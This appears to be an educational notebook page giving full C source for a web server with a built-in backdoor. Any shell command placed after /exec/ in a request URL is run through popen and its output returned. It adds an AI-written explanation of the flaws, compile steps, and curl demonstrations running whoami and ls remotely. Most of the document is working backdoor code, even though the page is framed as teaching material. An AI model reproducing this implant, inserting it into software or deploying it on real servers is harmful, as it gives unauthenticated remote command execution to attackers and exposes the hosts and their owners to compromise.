Backdoored Webserver#

backdoored_webserver

Introduction#

In this section, we will discuss the implementation of a backdoored web server in C. The backdoored web server is a simple web server that listens on a specified port and serves files from a specified directory. The backdoor functionality allows an attacker to execute arbitrary commands on the server by sending specially crafted HTTP requests.

Explanation of Code by ChatGPT 4o (OpenAI)#

The provided C code implements a basic HTTP server with a backdoor functionality that listens for incoming HTTP requests, processes them, and executes commands embedded in the URL of the request if specific conditions are met. Here’s a detailed explanation of the code:


Key Functionalities#

  1. Socket Communication:

    • The server listens on a specified port for incoming connections.

    • It processes HTTP requests from clients and sends appropriate responses.

  2. Backdoor Command Execution:

    • If the URL in the HTTP request contains /exec/, the server interprets the string after /exec/ as a system command.

    • This command is executed using popen, and the output is sent back to the client.

  3. URL Decoding:

    • Encoded URLs are decoded to retrieve their original form.

  4. Response Handling:

    • The server can send different HTTP responses: 200 OK, 404 Not Found, or 400 Bad Request.


Main Components#

Global Definitions#

  • Buffer Sizes: BUFFER_SIZE and other constants are used to define limits for reading data and constructing responses.

  • Predefined Responses: Strings for various HTTP response codes (200 OK, 404 Not Found, etc.) are constructed.

Main Function#

  1. Socket Setup:

    • A socket is created and configured to listen on the specified port (socket and bind calls).

    • The setsockopt function allows reusing the socket address.

  2. Listening for Connections:

    • The listen function queues incoming connections.

    • The server accepts connections with accept and processes each request in a loop.

  3. Processing Requests:

    • Receiving Data: Incoming HTTP requests are read into a buffer using recv.

    • URL Parsing: The get_URL_from_header function extracts the URL from the HTTP request header.

    • URL Decoding: The extracted URL is decoded using URL_decode.

    • Command Handling:

      • If the URL contains /exec/, the part after it is treated as a shell command.

      • The command is executed, and its output is sent to the client as part of the HTTP response.

    • Invalid Requests: Requests without /exec/ or malformed URLs receive appropriate error responses (404 or 400).

  4. Response Sending:

    • send_response sends the constructed response back to the client.

Helper Functions#

  1. send_response: Sends an HTTP response back to the client socket, handling both successful and error cases.

  2. get_URL_from_header: Extracts the URL from the first line of the HTTP request header.

  3. URL_decode: Decodes percent-encoded characters in URLs (e.g., %20 becomes a space).

  4. does_URL_contain_slash_exec: Checks if the URL contains the /exec/ substring.

  5. get_CMD_from_decoded_URL: Extracts the command from the decoded URL after /exec/.

  6. execute_command_return_output: Executes a shell command using popen and captures its output.


Key Vulnerabilities and Concerns#

  1. Backdoor Implementation:

    • The /exec/ functionality allows remote execution of arbitrary shell commands, creating a severe security vulnerability.

  2. Unsafe Command Execution:

    • Commands are executed without validation or sanitization, exposing the server to command injection attacks.

  3. Lack of Authentication:

    • No mechanism to authenticate or authorize incoming requests, making the server open to exploitation.

  4. Memory Leaks and Errors:

    • The program lacks comprehensive error handling for malloc and realloc, potentially leading to memory leaks.

  5. Debug Information Exposure:

    • Printing debug information, such as the request content and decoded commands, can expose sensitive data.

  6. Non-Threaded Design:

    • The server handles only one request at a time, which is inefficient for multiple clients.


Recommendations#

  • Remove or restrict the /exec/ functionality to prevent unauthorized command execution.

  • Implement input validation and sanitization.

  • Add authentication mechanisms to ensure only authorized users can interact with the server.

  • Use secure coding practices, such as properly managing memory allocations and handling errors.

  • Improve the server’s architecture to support concurrent connections, possibly using threading or asynchronous I/O.


This code appears to be designed for demonstration or testing purposes rather than production use due to its significant security flaws.

Program Code#

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

// Line below for debug
//#define PORT 8080

// Size of the buffer to use for reading data from the socket
#define BUFFER_SIZE 1024

// Number of connections to queue
#define NUM_CONNECTIONS 5

// Function to send a response to the client
int send_response(int sockfd, char* response);

// Function to get the URL from the HTTP header
char * get_URL_from_header(char * buffer_in);

// Function to decode the URL
char * URL_decode(char * URL_in);

// Function to get the command from the decoded URL
char * get_CMD_from_decoded_URL(char * decoded_URL_in);

// Function to check if the URL contains the string "/exec"
int does_URL_contain_slash_exec(char * URL_in);

// Function to execute a command and return the output to a buffer
char * execute_command_return_output(char * command_in);

int main(int argc, char *argv[])
{
    // Holds the socket file descriptor
    int sockfd;

    // Holds the new socket file descriptor for the accepted connection
    int new_sockfd;

    // Holds the port number on which to listen for connections
    int server_port;

    // Structure that holds the address of the host and client
    struct sockaddr_in host_addr, client_addr;

    // Holds the size of the structures above
    socklen_t sin_size;
    
    // Holds the number of bytes received
    int recv_length = 1;
    
    // Holds the status of the setsockopt() call
    int yes = 1;
    
    // Holds the data received over the socket
    char buffer[BUFFER_SIZE];

    // Holds the URL from the HTTP header
    char * URL;

    // Holds the decoded URL
    char * decoded_URL;

    // Holds the command extracted from the decoded URL
    char * backdoor_command;

    // Holds the output of the command
    char * command_output;

    // For debug
    // Holds a 200 response to send to the client 
    char http200_response_no_length[] = 
        "HTTP/1.1 200 OK\x0D\x0A";
    //    "Content-Type: text/html\x0D\x0A";

    // Holds a 404 response to send to the client (no length field)
    char http404_response_no_length[] = 
        "HTTP/1.1 404 Not Found\x0D\x0A";
    //    "Content-Type: text/html\x0D\x0A";i

    // Holds a 400 response to send to the client (no length field)
    char http400_response_no_length[] = 
        "HTTP/1.1 400 Bad Request\x0D\x0A";

    // Holds the html code for the 404 response.  May need to nix the HTML
    // and just send the text.
    char http404_html_code[] = 
        "<html>\r\n"
            "<head><title>404 Not Found</title></head>\r\n"
                "<body>\r\n"
                    "<h1>404 Not Found</h1>\r\n"
                    "<p>The requested resource could not be found.</p>\r\n"
                "</body>\r\n"
        "</html>\r\n";

    char http404_response_no_html[] =
        "HTTP/1.1 404 Not Found\r\n"
        "Content-Type: text/html\r\n" 
        "404 Not Found\r\n"
        "The requested resource could not be found.\r\n";

    // This string will will be augmented with the content length
    // not used for now.
    char content_length_string[] = "Content-Length: ";
    
    // Quality of life string for adding a carriage return and newline
    // Will tack this on to content_length_string
    //char CR_plus_NL[] = "\x0D\x0A";
    char CR_plus_NL[] = "\x0D\x0A";

    // Silly message to send in the content body.
    // Change to actual html?
    char message_to_send[] = "Hello, World!\r\n";

    // The return status of the send function
    int send_status = 0;

    // Holds the content length of the reponse
    int content_length = 0;

    // Holds the built up 200 response to send to the client
    char http200_response[8192] = "";

    // Holds the built up 404 response to send to the client
    char http404_response[1024] = "";

    // Holds the built up 400 response to send to the client
    char http400_response[1024] = "";

    // Create normal 200 response to GET request (no length).
    // The 200 response is used for debug.
    strcat(http200_response, http200_response_no_length);
    strcat(http200_response, CR_plus_NL);
    //strcat(http200_response, message_to_send);
    //printf("%s", http200_response);               // for debug

    // Create a 404 response by combining parts.
    strcat (http404_response, http404_response_no_length);
    strcat (http404_response, CR_plus_NL);
    //strcat (http404_response, http404_html_code);
    // For debug
    //printf("\n%s", http404_response);               // for debug

    // Create a 400 response by combining parts.
    strcat (http400_response, http400_response_no_length);
    strcat (http400_response, CR_plus_NL);

    // Lines below for debug to see if port was passed in
    printf("\nThe number of command line arguments is -> %d\n", argc - 1);
    printf("The command line argument is %s\n", argv[1]);

    // Check to see if a port number was passed in and exit if not
    if (argc == 1) {
        printf("Port number not specified, exiting...\n");
        exit(1);
    }

    // Convert the port number from a string to an integer
    server_port = atoi(argv[1]);
    
    // Create the socket; fail if it can't be created
    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        perror("Error creating socket");
        exit(1);
    }

    // Set the socket options to allow the port to be reused
    // fail if not successful to set options
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
    {
        perror("Error setting socket options");
        exit(1);
    }

    // Setup the main structure 
    // Set the address family to AF_INET (IPv4)
    host_addr.sin_family = AF_INET;
    // Set the port number to the port passed in.  Use htons() to convert.
    host_addr.sin_port = htons(server_port);
    // Set the IP address to INADDR_ANY (any IP address on the machine).
    host_addr.sin_addr.s_addr = INADDR_ANY;
    // Zero out the rest of the struct
    memset(&(host_addr.sin_zero), '\0', 8);

    // Bind the socket to the port passed in
    // Fail if not successful
    if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1)
    {
        perror("Error binding to socket");
        exit(1);
    }

    // Listen on the socket for connections
    // Fail if not successful
    if (listen(sockfd, NUM_CONNECTIONS) == -1)
    {
        perror("Error listening on socket");
        exit(1);
    }

    // Main loop
    while (1)
    {
        // Get size of the main structure
        sin_size = sizeof(struct sockaddr_in);

        // Accept a connection
        // Fail if not successful
        new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
        if (new_sockfd == -1)
        {
            perror("Error accepting connection");
            continue;
        }

        // Print a message to the console to show a connection was accepted
        printf("Connection Accepted...\n");

        // Receive the GET request from the client
        // a -1 from the recv function indicates an error
        // fail if not successful
        recv_length = recv(new_sockfd, buffer, BUFFER_SIZE - 1, 0);
        if (recv_length == -1)
        {
            perror("Error receiving message");
            exit(1);
        }

        // Terminate the GET request string with a null character
        buffer[recv_length] = '\0';

        // Print the GET request to the console for debug
        printf("RECV: %s", buffer);

        // Get the URL from the GET request
        URL = get_URL_from_header(buffer);

        // Decode the URL
        decoded_URL = URL_decode(URL);

        // Check to see if the URL is a backdoor command
        if (does_URL_contain_slash_exec(decoded_URL) == 1)
        {
            // Get the command from the decoded URL
            backdoor_command = get_CMD_from_decoded_URL(decoded_URL);

            // Execute the command
            command_output = execute_command_return_output(backdoor_command);

            // Send the 200 response to the client
            //send_status = send_response(new_sockfd, http200_response);
            if (command_output != NULL) {
                strcat(http200_response, command_output);
            }

            // Send a line break in html for debug
            //send_status = send_response(new_sockfd, "</br>");
            send_status = send_response(new_sockfd, http200_response);
            
            // Free the memory used by the command output and reset the http200_response
            strcpy (http200_response, "");
            strcat (http200_response, http200_response_no_length);
            strcat (http200_response, CR_plus_NL); 
            free(command_output);
        
        // Handle the case where the request is invalid
        } else if (strcmp (decoded_URL, "INVALID") == 0) {
        
            // Send the 400 response to the client
            send_status = send_response(new_sockfd, http400_response);

        // Handle the case where the request is not a backdoor command
        } else if (does_URL_contain_slash_exec(decoded_URL) == 0)
        {
            // Send the 404 response to the client
            send_status = send_response(new_sockfd, http404_response);
        }

        // Lines below for debug
        // Use below for manual sending of data
        //send_status = send(new_sockfd, message, sizeof(message), 0);
        //if (send_status == -1)
        //{
        //    perror("Error sending message");
        //    exit(1);
        //}

        close(new_sockfd);
    }

    return 0;
}

int send_response(int sockfd, char* response) {

    // Hold the number of bytes sent
    int bytes_sent = 0;

    // Holds the length of the response
    int response_length = 0;

   //char * error_response = "Error executing command...\n";
   char * error_response = "";

    int error_response_length = 0;

    // Check to see if the response is empty
    // send an error response if it is
    if (response == NULL) {
        //error_response_length = strlen(error_response);
        response_length = strlen("");
        bytes_sent = send(sockfd, response, response_length, 0);
        
    } else {
        // Get the length of a successfully executed response
        response_length = strlen(response);
        bytes_sent = send(sockfd, response, response_length, 0);
    }

    // Check to see if the response was sent successfully
    if (bytes_sent == -1){
            perror("Error sending response");
            exit(1);
        }

    // Return the number of bytes sent
    return (bytes_sent);
}

// This function returns the URL from the GET request
char * get_URL_from_header(char * buffer_in) {

    // Get the method of the response
    char * method = strtok(buffer_in, " ");

    // Check to see if the method is a "GET" or "POST"
    if ((strcmp(method, "GET") == 0) || strcmp(method, "POST") == 0) {
        return strtok(NULL, " ");
    } else {
        // If the method is not a GET or POST, return invalid
        return ("INVALID");
    }
}

// This function decodes the URL encoded string and return the decoded string
char * URL_decode(char * URL_in) {
    
    // The length of the URL
    int len = strlen(URL_in);

    // Allocate memory for the decoded URL
    char* decoded_url = (char*)malloc(len + 1);
    
    // The URL encoded token
    char hex[3];

    // Terminate the string
    hex[2] = 0;

    // Counter variables
    int i = 0, j = 0;

    // Loop through the URL and decode the tokens
    for (i = 0; i < len; i++, j++) {
        // Find the % character
        if (URL_in[i] == '%') {

            // Copy the next two characters after the % into the hex array
            memcpy(hex, URL_in+i+1, 2);

            // Convert the hex array to an integer and then a character and store in the decoded_url array
            // at position zero
            decoded_url[j] = (char) strtol(hex, NULL, 16);

            // Advance the counter by two
            i += 2;

        } else {
            // If the character is not a % then just copy it to the decoded_url array
            decoded_url[j] = URL_in[i];
        }
    }
    // Add the null character to the end of the decoded_url array
    decoded_url[j] = 0;

    printf("\nDecoded URL: %s\n", decoded_url);

    return decoded_url;
}

// This function checks to see if the URL contains the string "/exec/"
int does_URL_contain_slash_exec(char * URL_in) {
    
    // Target string to search for
    char * exec = "/exec/";

    if (((strstr(URL_in, exec) != NULL)) && ((strlen(URL_in) == strlen(exec)))) {
        return 0;
    }

    // Search for the target string in the URL
    // Return 1 if found, 0 if not found
    if (strstr(URL_in, exec) != NULL) {
        return 1;
    } else {
        return 0;
    }
}

// This function gets the command from the decoded URL
char * get_CMD_from_decoded_URL(char * URL_in) {
    // This function gets the command from the decoded URL
    // The command is the string after the /exec/ in the URL

    // The command to be returned from this function
    char * command = NULL;

    // The location of the last character of "/exec/"" in the URL
    char * exec_location = strstr(URL_in, "/exec/");

    // Fail if the exec_location is NULL
    if (exec_location == NULL) {
        command = "";
        //perror("Error getting command from URL");
        printf("No command in URL!!!\n");
        return command;
        //exit(1);
    }

    // Get everything after the last character of "/exec/" in the URL
    command = exec_location + strlen("/exec/");

    // Print the command for debug
    printf("\nCommand: %s\n", command);

    // Return the command
    return command;
}

// This function executes a command and returns the output 
char * execute_command_return_output(char * command_in) {

    // Local buffer to store a line of output
    char local_buffer[1024];

    // The output of the command that will be returned from this function
    char * output = NULL;
    
    // The size of the output
    size_t output_size = 0;

    // The HTML break tag
    char * html_break = "</br>";

    // string that redirects stderr to stdout
    char * redirect_std_err = " 2>&1";

    // Get the length of the command
    size_t command_in_length = strlen(command_in);

    // Get the length of the redirect string
    size_t redirect_std_err_length = strlen(redirect_std_err);    

    // Allocate memory for the redirected command.  This will be a string that contains the command
    // and the redirect string. (e.g. "ls -l 2>&1")
    char * redirected_command_in = (char*)malloc(command_in_length + redirect_std_err_length + 1);

    // Copy the command to the redirected command
    strcpy(redirected_command_in, command_in);

    // Append the redirect string to the redirected command
    strcat(redirected_command_in, redirect_std_err);

    // Use the popen function to execute the command and return the output to a stream
    FILE* stream = popen(command_in, "r");
    
    // Read the output a line at a time and store it in the local buffer
    while (fgets(local_buffer, sizeof(local_buffer), stream) != NULL) {

        // Tack on an HTML break to the end of each line of output
        //strcat(local_buffer, html_break);

        // Get the size of a line of output
        size_t buffer_length = strlen(local_buffer);

        // Reallocate memory for the output
        output = realloc(output, output_size + buffer_length + 1);

        // Copy a line of output to the output string
        memcpy(output + output_size, local_buffer, buffer_length);
        
        // Update the output size
        output_size += buffer_length;

        // Add the null character to the end of the output string
        output[output_size] = '\0';
    }

    // Close the stream
    int result = pclose(stream);
    if (result == -1) {
        perror("Error closing stream");
        exit(1);
    }

    // Return the output of the command
    return (output);
}

Compile the Code#

import os
curr_dir = ""
curr_dir = os.getcwd()

code_dir = curr_dir + "/" + "C_Code"
os.chdir(code_dir)
exec_status = os.system("gcc -ggdb3 -o backdoored_webserver backdoored_webserver.c")

Run the Code#

Running the code starts a webserver that listens on the specified port as an argument. You can access the server by sending HTTP requests to the server’s IP address and port. In this example, we will start the server on port 8080 like so:

./backdoored_webserver 8080

The output is as follows:

The number of command line arguments is -> 1
The command line argument is 8080

In another terminal, we use curl to send an HTTP request to the server. The curl command is as follows:

curl -i http://127.0.0.1:8080

and the response is:

HTTP/1.1 404 Not Found

However, if we send a request with the /exec/ keyword, we can execute commands on the server. For example:

curl -i http://127.0.0.1:8080/exec/whoami

The response will be:

HTTP/1.1 200 OK

haxor

Another example:

curl -i http://127.0.0.1:8080/exec/ls

The response will be:

HTTP/1.1 200 OK

backdoored_webserver
backdoored_webserver.c